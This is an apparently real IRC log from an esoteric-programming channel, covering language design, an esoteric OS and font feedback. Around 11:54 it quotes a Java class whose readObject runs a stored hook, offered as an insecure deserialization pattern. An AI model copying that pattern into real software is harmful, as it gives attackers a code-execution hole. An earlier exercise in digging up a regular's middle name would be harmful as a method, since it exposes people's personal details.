00:36:20  I made up a gopher server software with C in case you need it and/or want to make improvement of it
00:36:41  according to Wikipédia, gophers are: «... une famille de rongeurs appelés géomys, gaufres à poche, rats à poche...»
00:37:00  «gaufres à poche», also known as “pocketed waffles”.
00:38:41  [wiki] [[TOPL]] N http://esolangs.org/w/index.php?oldid=45144 * Hppavilion1 * (+554) Created Page, figuring out what I'm doing
00:39:07  boily, I am not asleep, just a little distracted
00:39:13  oerjan, I have eaten it now
00:39:18  [wiki] [[Talk:DStack]]  http://esolangs.org/w/index.php?diff=45145&oldid=45141 * -Dark-Phantom- * (+579) 
00:39:57  [wiki] [[Special:Log/delete]] delete  * Oerjan *  deleted "[[User:-Dark-Phantom-/DStack]]": Author request: content was: "'''DStack''' is a stack-based esoteric language created by [[User:-Dark-Phantom-|-Dark-Phantom-]] on November, 2015. The language uses two stacks, a..." (and the only contributor was "[[Special:Contributions/-Dark-Phantom-|-Dark-Phantom-]]")
00:40:52 -!- adu has joined.
00:42:13  [wiki] [[User talk:Ais523]]  http://esolangs.org/w/index.php?diff=45146&oldid=45143 * -Dark-Phantom- * (+218) /* Page removal request */
00:48:02  [wiki] [[User talk:Ais523]]  http://esolangs.org/w/index.php?diff=45147&oldid=45146 * Oerjan * (+288) /* Page removal request */ Done
00:48:30  [wiki] [[User talk:Ais523]] M http://esolangs.org/w/index.php?diff=45148&oldid=45147 * Oerjan * (-1) /* Page removal request */ indentation
00:50:00  What weird things should I do with the EsOS?
00:50:11  Maybe an intercallian command line?
00:50:15  Do you like all of various new Magic: the Gathering cards that I have made up? There is even a few more recently.
00:50:42  hppavilion[1]: OK, although you should need to describe such thing more specifically too
00:50:58  zzo38: Describe which thing?
00:51:09  More specifically?
00:51:34  Also, hezzo38!
00:52:14  Such thing as EsOS and intercallian command line; if you make a document (even if just of ideas) then we can see the details of how such thing is working please.
00:52:32  [wiki] [[User talk:Ais523]]  http://esolangs.org/w/index.php?diff=45149&oldid=45148 * -Dark-Phantom- * (+202) /* Page removal request */
00:53:27  As I need to be up early...
00:53:28  Goodnight!
00:53:36  zzo38: Yes, I will
00:54:08  zzo38: This EsOS is being made in Python, because there is /no/ way I was ever going to get it done in C or Rust
00:54:12  So it's more of a meta-OS
00:54:53  OK
00:55:10  I already have the text renderer and the command line window thing :)
00:55:51  (I made my own text renderer instead of using Tkinter's create_text function such as to be more eso)
01:06:25 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
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01:13:29  hppavilion[1]: oOo meta
01:15:54  helloily
01:20:48  quinthellopia!
01:21:09  We go to /way/ too much effort for eshellos.
01:21:21  boily: i posted a language
01:21:31  !
01:21:49  hppavilion[1]: the quinthellopia is quintessential to salute quintopia.
01:22:21  Sure.
01:22:42  helloily is less essential, as it may be bon matily in the mornings
01:23:19  you shoyld feedback CASTLE boily
01:23:27  oerjan is too behind
01:23:40  huh? eh? wut? CASTLE???
01:23:41 <\oren\> this damnable thing doesnt have page up so i have to prress esc[5~
01:24:04 <\oren\> stupid android
01:25:44  on the wiki
01:25:51 <\oren\> yes,page up is the same as esc[5~ idk why
01:26:31  \oren\: oh android
01:27:00  oh.
01:27:05  Does Android not define page up key? That isn't very good.
01:27:08  \oren\: I usually use -i for tab
01:27:56  I'm calling the command line INTERCOM
01:28:04  OK
01:28:06  hppavilion[1]: noOo
01:28:10 <\oren\> the keyboard im using dorsn't have page up it d have tab tho
01:28:12  adu: Why?
01:28:22  hppavilion[1]: please maybe don't give up
01:28:31  Huh?
01:28:41  hppavilion[1]: that's valid INTERCAL
01:28:47  Ah
01:28:50  xD
01:29:03  quintopia: itym "excluded", but "disincluded" is very boilywordlike, so I approve.
01:29:06  It's not actually that much like INTERCAL because I want it to be usable
01:29:14  please do run my program
01:29:21 <\oren\> ok I'm on my computer now
01:29:39  please do exec bash -c "echo hello world"
01:29:42  boily: its also a real word
01:30:01  it is???
01:30:22  adu: Yeah... not THAT intercallian. I'm just going to do weird command names to start with, work towards Eso nirvanna from there
01:31:44  Anyone have any suggestions for what I should do to make it Eso?
01:31:46  Eso nirvanna? is there such a thing?
01:31:58  adu: Optimal esoness
01:32:07  (satisfying certain properties)
01:32:07  oh, I get it, eso nirvanna = hell
01:32:15  adu: ...
01:32:16  Sure.
01:32:27  jk
01:32:32  That's definitely what I meant.
01:32:38  boily: slang but popular
01:33:01  How about some stackiness?
01:33:03  That works
01:33:07  Stack it is.
01:33:30  i think it will be accepted in my lifetime, since it has different shades of meaning than exclude
01:34:16  An esoptimal language is asymptotic.
01:34:17  "just because we didnt include you doesnt mean we /excluded/ you"
01:34:39  seen like that, disincluded has to exist.
01:36:10  any comments on the language?
01:45:19  some day, it will no longer be disincluded from the dictionary
01:50:28  oerjan: I have a dream...
01:51:52  gnight boily
01:52:00  Another kind of INTERCAL that I made up is stuff like:  MAYBE DO NOT COME FROM CHOICE
01:52:42  (where CHOICE represents the choicepoint stack)
01:52:51 * adu *mind blown*
01:53:55  https://youtu.be/NxC4sGpIDTw
01:54:04  (CHOICE is for back-tracking and LIFE is for front-tracking; I don't know how front-tracking is working though!)
01:54:22  bonne nuitopia!
01:54:48  @tell quintopia the language is quite nice! I got distracted by golly >_>'...
01:54:48  Consider it noted.
01:55:01 -!- boily has quit (Quit: FIELD CHICKEN).
01:56:25  I see that sequence above me as "boily's last wish was to tell quintopia that the language is good, before he entered an irreversible spiral into the world of Golly, where he would meet his demise. Time of death: 16:55:00 on 2015-11-06."
01:58:23  it's a little known fact that the game of life contains black holes that suck you in
02:00:11  oerjan: Convembuary is GoL awareness month
02:00:33  oerjan: in the real projective plane, I knew that
02:01:07  oerjan: it's a little known fact that https://en.wikipedia.org/wiki/Wolfram's_2-state_3-symbol_Turing_machine is the smallest universal Turing machine
02:01:21  adu: i knew that hth
02:02:09  INTERCOM's metaphors are all related to fishing for some reason
02:02:31  lolol
02:02:55  I might have to redo it xD
02:03:42  adu: exercise: starting from that page, find ais523's middle name
02:03:55  I don't know ais523's middle name
02:04:21  well i do *MWAHAHAHA*
02:04:26  lol
02:04:28  ok
02:04:30  so?
02:04:41  ais harold 523?
02:04:45  well that would be telling.
02:04:56  His last name is 523, right?
02:06:11  actually his last name is Smith hth
02:06:25  (that should be enough of a hint)
02:07:39  Will?
02:09:28  no hth
02:09:39  the exercise wasn't about guessing btw
02:10:01  but about digging out evidence.
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02:17:03  oerjan: found it: "I/O"
02:17:15  Alex I/O Smith
02:17:30  I/O KAY
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02:19:34  [wiki] [[Talk:DStack]]  http://esolangs.org/w/index.php?diff=45150&oldid=45145 * SuperJedi224 * (+128) 
02:19:42  [wiki] [[Talk:DStack]]  http://esolangs.org/w/index.php?diff=45151&oldid=45150 * SuperJedi224 * (+98) 
02:24:30  oerjan: is it infinite?
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02:30:52  no, pretty short
02:32:46  Ian?
02:33:50 * oerjan whistles innocently
02:35:20  Al?
02:35:37  i seem to recall i said this was not about guessing.
02:35:52  oerjan: I wasn't online when you said that
02:35:56  Oh wait, I was
02:36:06  I didn't read it though
02:40:06  http://www.gossamer-threads.com/lists/engine?user=4464;list=wiki
02:40:55 * adu wins
02:41:01  so you do
02:41:07  and in an unexpected way, too
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02:42:17  Hm...
02:42:26  I've backed myself into a corner here, I think
02:42:43  I can only have commands with a single argument the way the data model works
02:42:55  hppavilion[1]: I'm writing a language like that
02:43:19  How to fix it, how to fix it...
02:43:42  I want to have advanced commands in the same vein as grep and such to be possible, but I don't know how
02:43:53  there are only two commands ! {  } and  ? {  }
02:44:28 -!- getse has left.
02:45:16  and the way I solved it was to add parentheses
02:45:38  That won't work for me though
02:47:02  The language's data model is fairly complex: An infinite array of deques, an accumulator stack, and a scalar intermediate accumulator through which all inbound and outbound data much cross
02:47:10  s/much/must/
02:47:45  And I've backed myself into a corner by making it scalar. Now I don't know how to have multi-argument functions
02:47:57  And I don't see how to fix it by making it an array
02:48:46  And I can't make it a stack, because it has to hold data even when one uses data from it
02:48:50  adu: Have any ideas?
02:48:51  [wiki] [[Talk:Brainfuck--]]  http://esolangs.org/w/index.php?diff=45152&oldid=34258 * SuperJedi224 * (+110) 
02:50:16  hppavilion[1]: I prefer belts to stacks
02:50:25  belts?
02:51:07  belts are stacks with a fixed size
02:51:53  I give up, I'm just making it an array
02:53:19  adu: Have I told you about my 2D queue idea?
02:53:23  technically all stacks are belts, but they're belts of length 100 MiB, whereas most belts are of length 16 or so
02:53:38  hppavilion[1]: nope
02:53:44  It's cool, I think
02:54:05  Basically, the data model of a 2Queue is a queue of queues
02:54:43  When you dequeue an element, you're really dequeuing a queue, dequeuing an element called "e" from that queue, reenqueuing that queue, then returning e.
02:54:52  Not sure what its use is, but it's awesome
02:56:18  could be used to break up a queue into a distributed queue
02:56:33  (Enqueuing is similar: Dequeue a queue, enqueue the element, enqueue the new queue)
02:56:50  You could also have a Stack*Queue
02:56:54  like the stuff that needs to be done vs. stuff that is going to be done by Host#101
02:57:27  (well, a queue*stack, as data structure multiplication isn't communist)
02:57:33  (s/communist/commutative)
02:57:38  lol
02:57:55  computing behind the iron curtain...
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03:32:02  I know once when I told my brother that something was not commutative, he then asked, "But is it communist?"
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03:47:09  I think I have now figured out how to do vertical discretionaries with prebreak texts and postbreak texts in TeX, although not how to do nonbreak texts.
03:49:07  (For example, you can write "(continued on next page)" on the bottom of a page.)
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03:56:02  I should work on Kleinfunge
04:02:50  dare I ask?
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04:04:26  The clean subset of Grossfunge.
04:09:34  nchambers: It's a fungeoid with mechanisms to manipulate topology
04:09:59  As in Klein bottle. Not Calvin Klein.
04:14:18  [wiki] [[Kleinfunge]]  http://esolangs.org/w/index.php?diff=45153&oldid=44821 * Hppavilion1 * (+143) Stargates, why not?
04:16:18  [wiki] [[Kleinfunge]]  http://esolangs.org/w/index.php?diff=45154&oldid=45153 * Hppavilion1 * (+248) Utility
04:16:33  nchambers: Although...
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04:27:13  :D
04:37:13  lol I have a file that says it was created today, 10 minutes ago, and modified in 2008
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04:43:45  Sgeo: How did THAT happen?
04:43:59  Copied an old file to my desktop
04:46:00  [wiki] [[DStack]]  http://esolangs.org/w/index.php?diff=45155&oldid=45137 * -Dark-Phantom- * (+31) link to GitHub
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04:56:44  [wiki] [[User talk:CakeProphet]] N http://esolangs.org/w/index.php?oldid=45156 * Hppavilion1 * (+175) EsOS
04:58:27  Why is the spacing of the output of the "wc" command different when the input is redirected from a file as it is when redirected from a pipe?
05:07:54  [wiki] [[DStack]]  http://esolangs.org/w/index.php?diff=45157&oldid=45155 * -Dark-Phantom- * (+115) categories
05:09:22  [wiki] [[Language list]]  http://esolangs.org/w/index.php?diff=45158&oldid=45126 * -Dark-Phantom- * (+13) /* D */ DStack
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05:23:28  [wiki] [[Hello world program in esoteric languages]]  http://esolangs.org/w/index.php?diff=45159&oldid=45123 * -Dark-Phantom- * (+102) DStack
05:32:54  [wiki] [[Truth-machine]]  http://esolangs.org/w/index.php?diff=45160&oldid=44349 * -Dark-Phantom- * (+37) DStack
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05:59:10 -!- MDude has changed nick to MDream.
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06:17:22  Do you know why?
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06:40:44  [wiki] [[CASTLE]]  http://esolangs.org/w/index.php?diff=45161&oldid=45116 * Quintopia * (+1421) Made explicit the (random) way marked cells behave under symmetries. Added prefix to prevent marked cell permutation.
07:02:51  `` wc  1 1 9 \       1       1       9
07:03:13  `` wc canary
07:03:14  1 1 9 canary
07:03:32  `` wc <(cat canary)
07:03:33  ​      1       1       9 /dev/fd/63
07:04:03  Interesting.
07:08:20 -!- hppavilion[1] has quit (Ping timeout: 244 seconds).
07:39:25  `` hexdump -C canary
07:39:26  00000000  53 70 6a c3 a6 74 74 21  0a                       |Spj..tt!.| \ 00000009
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08:42:11  Why isn't it ##esoteric btw?
09:04:32  Hysterical raisins.
09:05:08  There was some talk of moving at some point, but nobody seemed to be that interested.
09:08:34 -!- Phantom_Hoover has joined.
09:11:15  so... anybody has an opinion about that GI thing?
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11:17:16  mroman: yeah... we don't want to move. I'm running #jsoftware too, which totally should be double-flatted,
11:18:52  If someone seriously comes up and convinces freenode that he needs the single-sharped channel, then we'll move, but that's unlikely
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11:31:50  fnárd
11:32:24  git add *.* && git commit -m "fnord" && git push -u origin master --tags
11:33:30  Oh.
11:33:31  Nice.
11:33:35  This is the right channel.
11:41:49  Codegolf.Stackxechange should stop calling itself codegolf.
11:42:07  People downvote code because they 'think' it does not work
11:45:20  can't you downvote those people... ;)
11:54:10  this is nice... class Foo implements Serializable { private final Runnable initHook; public void readObject(ObjectInputStream ois) { ois.defaultReadObject(); initHook.run(); } } ... what could possibly go wrong?
12:00:10  nothing.
12:00:19  where is that from?
12:02:50  http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles
12:02:57  http://mroman.ch/burlesque/docs/BLSQ.html
12:03:05  ^- Does that look decent as a documentation format?
12:03:19  I'm using pandoc MD -> HTML and some CSS
12:04:24  slide 12 wtf
12:04:30  That's not how anything of this works
12:05:54  what do you mean .... it's just skipping over details to get to the interesting parts.
12:06:09  there's a class name in there, and a field name, and the field type...
12:06:19  I mean
12:06:24  you don't save a "isAdmin=1" on the client
12:06:41  not in a cookie, not in a base64 encoded cookie, not in a base64 encoded serialized java object
12:06:58  which is why the exploits later on generally do something more interesting.
12:07:12  I'm not really a Java-Expert
12:07:20  In any case I'm sure this has happened.
12:07:23  but I'd say readObject shouldn't really trigger much else
12:07:40  int-e: There were a lot of php webapps that did set isAdmin cookies, yes.
12:07:55  Because at a glance, serialized objects look inscrutable, so nobody is going to bother modifying those... right ;)
12:08:33  And also, you need to ship the fucking application, deadlines are more important than basic security.
12:09:03  (you can always fix that later)
12:09:18  ;-) ;-> :-P <-- sprinkle those above as needed.
12:09:46  I know damn well that deadlines are more important than anything else
12:09:49  deadlines give money
12:09:52  security not.
12:10:19  We've released two unfinished products as "finished" :D
12:10:37  and it gets interesting when you use DSLs with no clear client/server separation in the source code.
12:12:35  and I work in IT Security
12:12:40  that's the worst part about that :)
12:12:41  but well...
12:12:50  in the end you need money to pay the developers salaries.
12:15:14  Documentation looks fine, but I'm not a big fan of the asymmetric boxes (with the top border thicker than the bottom border), and I would probably try to separate the commands more visibly (is it possible to indent the descriptions of the individual commands?)
12:16:36 -!- shikhin has quit (Ping timeout: 272 seconds).
12:19:45  oh I came from http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/ which also seems worth reading.
12:23:50  Depends on if pandoc generates 
 or something
12:23:58  then I could indent h1 p or something
12:24:27  nah. that won't work :(
12:25:12  I could indent pre elements?
12:25:30  If that's what you meant?
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12:55:15  "When Java reads in a serialized object, the first thing it does after reading in the raw bytes is call the user-defined “readObject” method if it exists."
12:55:20  That's nice
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13:02:17  yeah, that way you can do some custom things
13:02:30  like custom serialization formats and the like
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13:10:26  Jafet: you could do good things with that, like *validation* to protect against malicious modification ;)
13:11:15  (but of course it may be too late for that at that point)
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15:03:41  [wiki] [[User:InputUsername]] M http://esolangs.org/w/index.php?diff=45162&oldid=43674 * InputUsername * (-60) Removed dead link
15:09:47  [wiki] [[Langar.io]] M http://esolangs.org/w/index.php?diff=45163&oldid=43655 * InputUsername * (+104) 
15:17:29   so... anybody has an opinion about that GI thing? <-- coool hth
15:18:02  well ...
15:18:28  still 3 days to find out what it actually _is_
15:19:10  next up, get a polymath project to strengthen it to polynomial twh
15:19:44  (with enormous luck, i might understand the proof?)
15:22:23  What's GI-complete, anyway?
15:24:34  Jafet: that's an ambiguous question, please clarify
15:25:39 * oerjan is too tired to think again, and the neighbors are wearing high heels or something
15:29:07  According to https://en.wikipedia.org/wiki/Graph_isomorphism_problem#GI-complete_and_GI-hard_problems GI-complete seems to mainly consist of other variants of GI.
15:35:10  [wiki] [[User:SuperJedi224]]  http://esolangs.org/w/index.php?diff=45164&oldid=44288 * SuperJedi224 * (+16) 
15:36:07  what GI thing?
15:36:27  (I'm assuming it's graph isomorphism, but what's new about them?)
15:37:17  there's an announcement of a presentation of a proof that it's solvable in quasi-polynomial time
15:37:25  (in 3 days)
15:37:53  http://www.scottaaronson.com/blog/?p=2521
15:37:55  ah, sounds exciting indeed
15:53:11  why isn't edwardk around
15:54:09  @tell edwardk It seems like I and András Kovács almost simultaneously got the same idea to fix your Data.Constraint.Forall.
15:54:09  Consider it noted.
16:12:00  and i finally get sucked into getting a github account.
16:14:00  oerjan: based on yesterday's events he is probably asleep right now hth
16:14:25  what happened then
16:14:40  argh verification email is slow
16:23:51  [wiki] [[CASTLE]]  http://esolangs.org/w/index.php?diff=45165&oldid=45161 * Quintopia * (+987) conditional transitions
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16:37:25 <\oren\> Gastro-Intestinal-Complete?
16:38:39 <\oren\> "A machine is GI-complete if it has the same computing power as the gut bacteria of a healthy mammal."
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16:56:12  [wiki] [[DStack]]  http://esolangs.org/w/index.php?diff=45166&oldid=45157 * -Dark-Phantom- * (+18) Category:2015
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17:13:55 * \oren\ . o O (sofuto kaihatsu jogakuen)
17:21:23  \helloren\
17:21:40  ah yes, what oerjan says
17:22:19  \oren\: I have a preliminary plan about how to extend my keyboard layout, adding more letters, but now I have doubts about it
17:22:32  \oren\: http://www.math.bme.hu/~ambrus/pu/keymap
17:22:48  \oren\: perhaps you want to comment
17:24:19  hmm, I should add a very few punctuation signs, namely × and °
17:27:23 <\oren\> you may wish to have a shift for greek letters. (I just shift into jp and then　アルファ ⇒ α)
17:29:36 -!- AnotherTest has joined.
17:30:09  \oren\: I don't think I ever type greek letters
17:30:47  \alpha \beta \gamma \delta...
17:31:25 <\oren\> arufa be-ta ganma  deruta
17:32:12  ganma? really?
17:32:29 <\oren\> yeah
17:32:37  ok
17:32:37 <\oren\> がんま
17:33:24 <\oren\> ramuda -> ラムダ -> λ
17:33:31  ok, those are easy. how do you write theta and phi?
17:34:07 <\oren\> テータ　ファイ
17:34:17 <\oren\> te-ta fai
17:34:23  (do they say "mega" of omega in greek or Japanese?)
17:35:03 <\oren\> looks like it's omega in japanese
17:35:11 <\oren\> I hadn't used that one
17:35:30  heh, I thought you knew the complete set
17:35:56 <\oren\> nah, I ha to look up lambda, I had only used a few of them
17:36:07  ok
17:36:11 <\oren\> I thought it would be lamubuda
17:36:29 <\oren\> or ramubuda
17:37:06 <\oren\> but no, la -> small a
17:37:27 <\oren\> https://ja.wikipedia.org/wiki/%CE%9B
17:37:51 <\oren\> the sidebar has all of them
17:38:22  I see
17:40:24 <\oren\> japanese IME's can also type weird things like enu -> Н
17:40:28  \oren\: yes, and the table https://ja.wikipedia.org/wiki/%E3%82%AE%E3%83%AA%E3%82%B7%E3%82%A2%E6%96%87%E5%AD%97#.E6.96.87.E5.AD.97 gives multiple names
17:40:42 <\oren\> that's a cyrillic en
17:41:05  yes it i9s
17:41:14  although it looks like a H
17:41:36 <\oren\> basicaly, if it exists in the JIS encoding, an IME can type it
17:43:54 <\oren\> jis includes greek and cyrillic, but in JIS they are treated as unusual kanji (double width)
17:45:19 <\oren\> α has the reading: あるふぁ
17:46:35  \oren\: and do you also have a way to find out how to type any such characters in an IME?
17:46:51 <\oren\> not really
17:48:24 <\oren\> but typically you can find it by copypasting into the search box of japanese wikiedia
17:53:15 -!- mroman has joined.
18:05:46  ooh cool
18:06:11  andraskovacs found a workaround for the bug
18:13:02 -!- mauris__ has joined.
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18:19:38 -!- mauris_ has joined.
18:19:57  Data.Constraint.Forall might be repaired
18:22:31 -!- mauris_ has changed nick to mauris.
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18:37:02  oh, that's not the same bug then
18:37:22  have you seen ais523 these days?
18:37:30  I think he hasn't been in for a week
18:38:00  > (14/22.0)*400
18:38:02   254.54545454545453
18:38:05  alright
18:38:23  by that estimate the Burlesque documentation will span 254 pages
18:39:13 -!- hppavilion[1] has joined.
18:39:14  b_jonas: oops
18:39:25  hm
18:39:42  nickserv agrees
18:49:22 <\oren\> hippavilion[1]!
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19:30:01  Heeo\ren\
19:30:43  He\\oren\ looks better, actually
19:32:49  why is he always backslashed?
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19:33:58  quintopia: to look different from the other two o-guys who are frequently here
19:34:09  i thought as much
19:34:24  but it is awfully channel-centric
19:34:37  like #esoteric is actually important or something
19:35:37  quintopia: indeed, I generally don't choose nicknames for just one channel, and when I do, I rather log in with a separate connection for just that channel, temporarily, rather than change my main nick
19:36:52  b_jonas: Who's the other o-?
19:37:18  oerjan is one, but who's the third?
19:37:33  I'm not sure, maybe oerjan is the only one, plus the olist
19:41:00  b_jonas: olsner! That's the other one
19:42:14  http://www.smbc-comics.com/index.php?id=3919
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20:03:36  [wiki] [[Poop]]  http://esolangs.org/w/index.php?diff=45167&oldid=39419 * 93.198.139.110 * (+502) Added "poopOut"
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20:43:31  hppavilion[1]: don't forget okplopol
20:43:37  *oklopoop
20:48:52  I call them just "ok-star", it's easier that way.
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21:52:15  My font now supports the Germanic alphabet (minus e with umlaut, which someone says is used but is not listed on Wiki, as well as a capital sharp S because of rare usage) and the Norwegian is in progress
21:52:38 -!- mauris has joined.
21:54:29  hppavilion[1]: what font? where?
21:54:45  b_jonas: The one for WalrusOS, which is the first WalrusOS
21:54:52  *the first EsOS
21:55:02  (By far not the first WalrusOS)
21:55:05  um… sure? and?
21:55:13  b_jonas: And what?
21:55:15  where can I see a sample for this font?
21:56:22  b_jonas: I have an imgur post somewhere that has an old version that supported I think the full english alphabet, at least lowercase
21:56:36  Would you like to see that, or should I take a new screenshot and upload it for you?
21:57:06  probably a new screenshot
21:57:23  (and I should make samples for my font too)
21:57:25  (OR you could download the software; It's not a font you can use normally, you need to use the custom renderer. I thought it'd be more fun and easier for me that way)
21:57:33  OK. Screenshotting
21:59:13 -!- J_Arcane has joined.
22:00:14  b_jonas: http://i.imgur.com/VqGxJfz.png
22:01:51  hppavilion[1]: thanks
22:02:51  You're welcome
22:03:15  hppavilion[1]: is this a monospaced font? is it scalable? how is it described? I mean the way TTF fonts are glyph outlines made of quadratic Bézier curves plus some hinting, and kerning tables.
22:03:45  b_jonas: It's described in a command prompt-like vector language encoded into JSON. It's vector.
22:03:58  It is monospace, though some characters are twice as wide as the standard
22:03:58  I see
22:04:20  Normal characters are 14*28; lowercase only takes up half height.
22:04:33  it looks a bit strange, but some of that might be deliberate
22:04:41  (I realized a bit after finishing the lowercase english alphabet I should've done 16*32)
22:04:49  b_jonas: What looks strange?
22:05:01  I mean, it's for the EsOS, so that's good, but I'm curious
22:05:45  hppavilion[1]: the letters have a strangely varying height and depth. "s" is too deep and maybe also too high, "m" is less high than others,
22:05:56  Yeah, s I'm going to fix
22:06:22  the "@" is small and has a strange shape, the "&" has a somewhat strange shape, 
22:06:27  The m is actually the same height in the code, iirc, it just looks strange because the humps are so thin
22:06:45  The @ had to be small for monospace and the & is INCREDIBLY difficult
22:07:02  (I'm encoding this in a vector language by hand, remember)
22:07:12  the "6" doesn't look high enough, the "5" has a shape that I don't really like, namely where the vertical part and the arc meets it goes too low, and as a result the arc is too closed and too small.
22:07:20  I noticed that on the 6 and the 5
22:07:40  It's good enough. I mean, it's legible at least xD
22:07:48  hppavilion[1]: the "@" could still be taller, even in monospaced, and the part where the small a meets the curvy part looks wrong
22:07:53  Right, right
22:08:34  It's as close as I plan to make it for now; I'm having a friend make a good font for actual printing in the OS
22:08:42  This is just the font for CLI and such
22:09:05  also, the "æ" looks wrong, it's too wide and looks too much like an "œ" because it uses a one-storeyed "a" instead of a two-storeyed one,
22:09:25  and the "Æ" also looks too wide to me, 
22:09:44  but as you are probably reading more Norwegian than me, you might know better how those should look.
22:10:10  also the "^" is placed somewhat low, though that could be deliberate
22:10:41  and the "'" is a bit small
22:10:49  the "\"" is a bit small too
22:11:03  but in general, it does look nice and somewhat readable
22:11:18  oh, and the "W" is too narrow, so perhaps you could make the sides more vertical
22:11:39  b_jonas: The ae and AE are both too wide
22:11:48  I made them doublespace so they're legible
22:12:27  oh I see!
22:12:31  double side
22:12:37  now that's strange
22:12:44  why would you do that in a font that's otherwise monospaced?
22:13:01  b_jonas: Legibility; the command prompt is english, so it won't particluarly matter
22:13:11  Also, characters like that are never used in ASCII art
22:13:19  So there's no real reason to squish them
22:13:25  ok
22:13:43  and you have a renderer (terminal) that handles a grid of characters but allows double-width?
22:13:45  And if I made ae use a double-story a it would look bad against the a (which is single-story)
22:13:55  Basically
22:14:00  Though now that I think about it
22:14:05  That won't look right
22:14:20  Of course, I could make a AND ae double-story
22:15:23  But double-story a is hard in my current vector format
22:15:49  but wait
22:15:54  something seems wrong
22:16:11  (I only have "line", "circle", "ellipse", "arc", and "ellarc", plus a special-purpose command for the squares on line 6)
22:16:12  it looks as if the "Æ" is narrower than two character cells,
22:16:16  from the characters after
22:16:25  b_jonas: It isn't, I assure you
22:16:32  The PROBLEM is the kerning
22:16:40 <\oren\> if it's an eso-os there shouldn't be a problem making the widths of characters nonstandard
22:16:51  There's a 5-pixel (or maybe 10-pixel) space between characters
22:17:12  So really, doublespace should be 33 instead of 28
22:17:18  hppavilion[1]: oh, so that's the problem
22:17:25  then they're not really double width
22:17:29  they won't form a grid
22:17:30  I'll fix it later
22:17:38  They will not, not until I fix that
22:17:51  hppavilion[1]: also, I think the "7" doesn't reach the floor
22:18:14  b_jonas: It does. It might just be pixels lost at this resolution in rendering
22:18:25  It definitely goes down to y=0 conceptually
22:18:53 <\oren\> really? huh.
22:18:55  hppavilion[1]: ok
22:19:39  I have the Germanic and Norwegian alphabets. What characters should I do next?
22:19:45  hppavilion[1]: and the same applies to the right leg of "A" ?
22:19:48  (Combining diacritics aren't working)
22:19:49  hppavilion[1]: you should do the "}"
22:19:56  did we already have the "font of wisdom" in our topic?
22:20:18  hppavilion[1]: also the "ø" and the "å"
22:20:21  b_jonas: I SHOULD, but I'm putting that one off because { was a huge pain in the ass
22:20:31  b_jonas: Already finished those after screenshotting
22:20:40  Ah, "The font of all knowledge" ... close enough.
22:20:44 <\oren\> can't you adapt the code for the { reversing it?
22:20:47  hppavilion[1]: even if "{" was a huge pain, can't you just mirror it and shift it properly for "}" ?
22:21:23  b_jonas: Yes, but I would have to do math in my head, and I don't have an automirror program yet (though I could certainly write one)
22:21:38  hppavilion[1]: oh, there's more pixel inaccuracy problems: the "P" has a gap
22:21:56  b_jonas: How closely are you analyzing the font!?
22:22:04  I'll fix that if I can see it on my end
22:22:06  hppavilion[1]: add a mirror capability. it will be useful for sprites in the game anyway
22:22:17  Sprites in what game?
22:22:26 <\oren\> vector graphics are a pain, that's why my font is dont using pixels
22:22:33  hppavilion[1]: analyzing => (a) #esoteric , (b) I did it with zzo too
22:22:35  Yep. P certainly has a gap
22:22:46  s/zzo/oren/
22:23:10  hppavilion[1]: also, I think maybe you should slant the "/" and "\" more, and perhaps add a gap into "|" so it's more distinct
22:23:37  b_jonas: I do not like the gapped |
22:23:39  I mean, you already have a "0" with a dot in the middle, so a "|" with a gap wouldn't look mismatched
22:23:45  ok
22:23:59  I actually was thinking about the 0 with a dot when I was making it
22:24:07  "Should I used the dotted or slashed 0?"
22:24:08  hppavilion[1]: is it deliberate that the "." and the ":" are shifted to the left so much?
22:24:08  "..."
22:24:15  "What an incredibly boring issue"
22:24:15 <\oren\> isn't there a separate uncidoe charatcer for gapped |?
22:24:18  hppavilion[1]: and definitely make the "'" and "\"" bigger
22:24:36  b_jonas: I put them in the middle because it felt right at the time
22:24:38  \oren\: yes there is, it's in iso-8859-1, ¦
22:24:47 -!- Patashu has joined.
22:24:48  hppavilion[1]: they're not in the middle
22:24:49  Cool
22:24:59  They're close.
22:25:14  the "." and the ":" are very close to the left edge
22:25:18  they're definitely not in the middel
22:25:32  b_jonas: So they aren't shifted to the right?
22:25:38 <\oren\> oh, i see, the . is in the middle of the character, but there is a gap between characters
22:25:39  Could've sworn they were...
22:25:46  Right, right
22:25:57  hppavilion[1]: the ":" reaches more to the left than the left vertical side of the "P"
22:28:18  hppavilion[1]: oh, and check the "-" and the "=" and the ":" to verify they're not too high when they're among lower-case letters
22:28:57 -!- hppavilion[2] has joined.
22:28:59  b_jonas: Should I just make "/" and "\\" span the corners?
22:29:01  hppavilion[1]: and maybe lower the bar of the "A" but that's not such a big problem
22:29:23  hppavilion[1]: I'm not sure, the "/" and "\\" vary a lot between fonts, it's a matter of style
22:29:33  Ah
22:29:36  so mostly what works for you
22:29:39  they vary in height too
22:29:46  Maybe I should make / and \ have a gap for the eso factor, but not | xD
22:30:01  uh... the "\" can have a gap, but the "/" shouldn't
22:30:28  But that would be weird, wouldn't it? xD
22:30:44  there's "÷" and "∕" and "⟌" when you want strange slashes
22:30:50 -!- hppavilion[1] has quit (Ping timeout: 260 seconds).
22:30:59  What's the third one?
22:31:05  `unidecode ⟌
22:31:18  ​[U+27CC LONG DIVISION]
22:31:23  Ah
22:31:23  that stuff crazy Americans use for "teaching" long division in elementary school
22:31:34  Oh right. That actually worked for me
22:31:45  I liked long division; I found it fun
22:31:54  It was an early manifestation of my appreciation for algorithms
22:32:35 -!- hppavilion[2] has changed nick to hppavilion[1].
22:32:44  There we go
22:32:49  I feel better now
22:33:18  good luck with this font, and the rest
22:33:23  OK
22:34:28  (That was effectively conversation termination, correct?)
22:35:19  not really, I'm still here for a bit, but I don't have any more comment on the font for now
22:35:51  so yes, conversation termination, but not goodbye
22:36:02  if there's such a thing
22:36:32  OK
22:36:58  Yeah, I'm definitely raising the ^
22:38:52  I mean, oren's font has lots of characters, so I could criticize stuff like the appearance of the letters with caron and the comma under
22:39:46  that reminds me,
22:40:18  \oren\: are you planning to go through the first two grades of kyōiku kanji and add them all?
22:41:33 <\oren\> eventually
22:41:37  ok
22:41:57  do the vertical long vowel sign and those strange repeat marks first :-)
22:42:15 <\oren\> k
22:43:30  meanwhile, hurray for Saturday!
22:43:35  (not for long anymore)
22:43:42  enjoy it while it lasts if you're in such a timezone
22:43:59 <\oren\> it's only 5:45 in canada
22:44:14 <\oren\> er, in Toronto, anyway.
